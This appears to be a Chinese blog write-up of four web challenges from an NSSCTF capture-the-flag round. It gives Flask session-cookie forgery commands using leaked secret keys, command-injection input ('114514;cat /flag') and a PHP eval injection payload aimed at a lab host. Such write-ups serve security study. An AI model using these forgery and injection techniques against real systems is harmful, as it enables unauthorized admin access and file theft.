NSSCTF Round#13 WEB

1.flask?jwt?

在忘记密码下面有提示secretkey,那么就可以jwt伪造

自己注册个账号然后登录

点击拿flag提示你不是admin,并且cookie里面有个session,用工具解密一下

python flask_session_cookie_manager3.py decode  -s 'th3f1askisfunny'  -c '.eJwlzjsOAyEMANG7UKcA2xi8l1mBP0paNltFuXuQ0r-R5pPOWH490_Fetz_S-bJ0JIXIZgYS0zS0VRyMbUbhKVwFKVhhcPUJ1kOjBioORTIZyKOI1UbkgzYR7L3l1oDYijBOIGeMgsUkByHYFq6eS-UutFvwtEfuy9f_BtL3BxRVLzE.ZeXYGA.PCLZkIezGFKXh55D8kvbdbiwmX0'

里面有个_user_id为2,那么猜测admin为1

修改成1再用工具伪造

python flask_session_cookie_manager3.py encode -s 'th3f1askisfunny' -t "{'_fresh': True, '_id': 'c2f0ddd29fbdcfc753a637bf16b965934f6c2a65eb2d8fcf5f3c3ac34d9a36a19d5744ea465e93887077246d1963b24e63f131d90f432d938ece015689419d2e', '_user_id': '1'}"

直接拿到flag

2.ez_factors

点击tool跳转到/114514

2*31*1847正好是114514,说明114514被进行了因数分解,那么url中的114514就可能命令执行

改成114514;cat /flag有数字生成,说明只能生成数字没有字母

od命令可以将数据以八进制数字输出

-b参数是以8进制输出

3.flask?jwt?(hard)

这次源码里面没了secretkey

先解析一下jwt看看是什么

比上次多加了时间

在源码里看到了一些东西

去/wor看一下

有时间,把这个路由下面的session随便改一下然后报错了。。。并且里面有key

hardgam3_C0u1d_u_f1ndM3????

伪造一下

为了不报错,我把时间那块删除了

python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh':True,'_id':'c2f0ddd29fbdcfc753a637bf16b965934f6c2a65eb2d8fcf5f3c3ac34d9a36a19d5744ea465e93887077246d1963b24e63f131d90f432d938ece015689419d2e','_user_id':'1'}"
.eJwlzjsOAyEMANG7UKcA2xi8l1mBP0paNltFuXuQ0r-R5pPOWH490_Fetz_S-bJ0JIXIZgYS0zS0VRyMbUbhKVwFKVhhcPUJ1kOjBioORTIZyKOI1UbkgzYR7L3l1oDYijBOIGeMgsUkByHYFq6eS-UutFvwtEfuy9f_pqTvDxRSLzA.ZeXkbQ.dk4CXwGdna3N9weB2RgSXMBm8gw

 4.MyWeb

 <?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
} 

如果mode传参为save,把data储存再/tmp/data/json文件里,data的处理方式是先用addslashes处理,然后再把]替换成,'$value'].

如果mode传参为read,读取/tmp/data.json文件

然后eval执行data,并把结果赋给$data

假设原来data.json为[1,2,3],添加一个value值为4,data.json变为[1,2,3,'4']

如果能把后面的]注释掉,就可以插入命令

[1,2,3,'];echo `cat /flag`;//'],如果能变成这样,就能执行 cat /flag的指令

那么传入的value值就应该是];echo `cat /flag`;//

这样也不会触发addslashes函数

http://node4.anna.nssctf.cn:28017/?mode=save&value=];echo%20`cat%20/flag`;//

执行失败

擦,看了别人的wp,思路跟我一样啊,没复现出来有点奇怪,应该靶机的问题。

  • 10
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tao0845

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值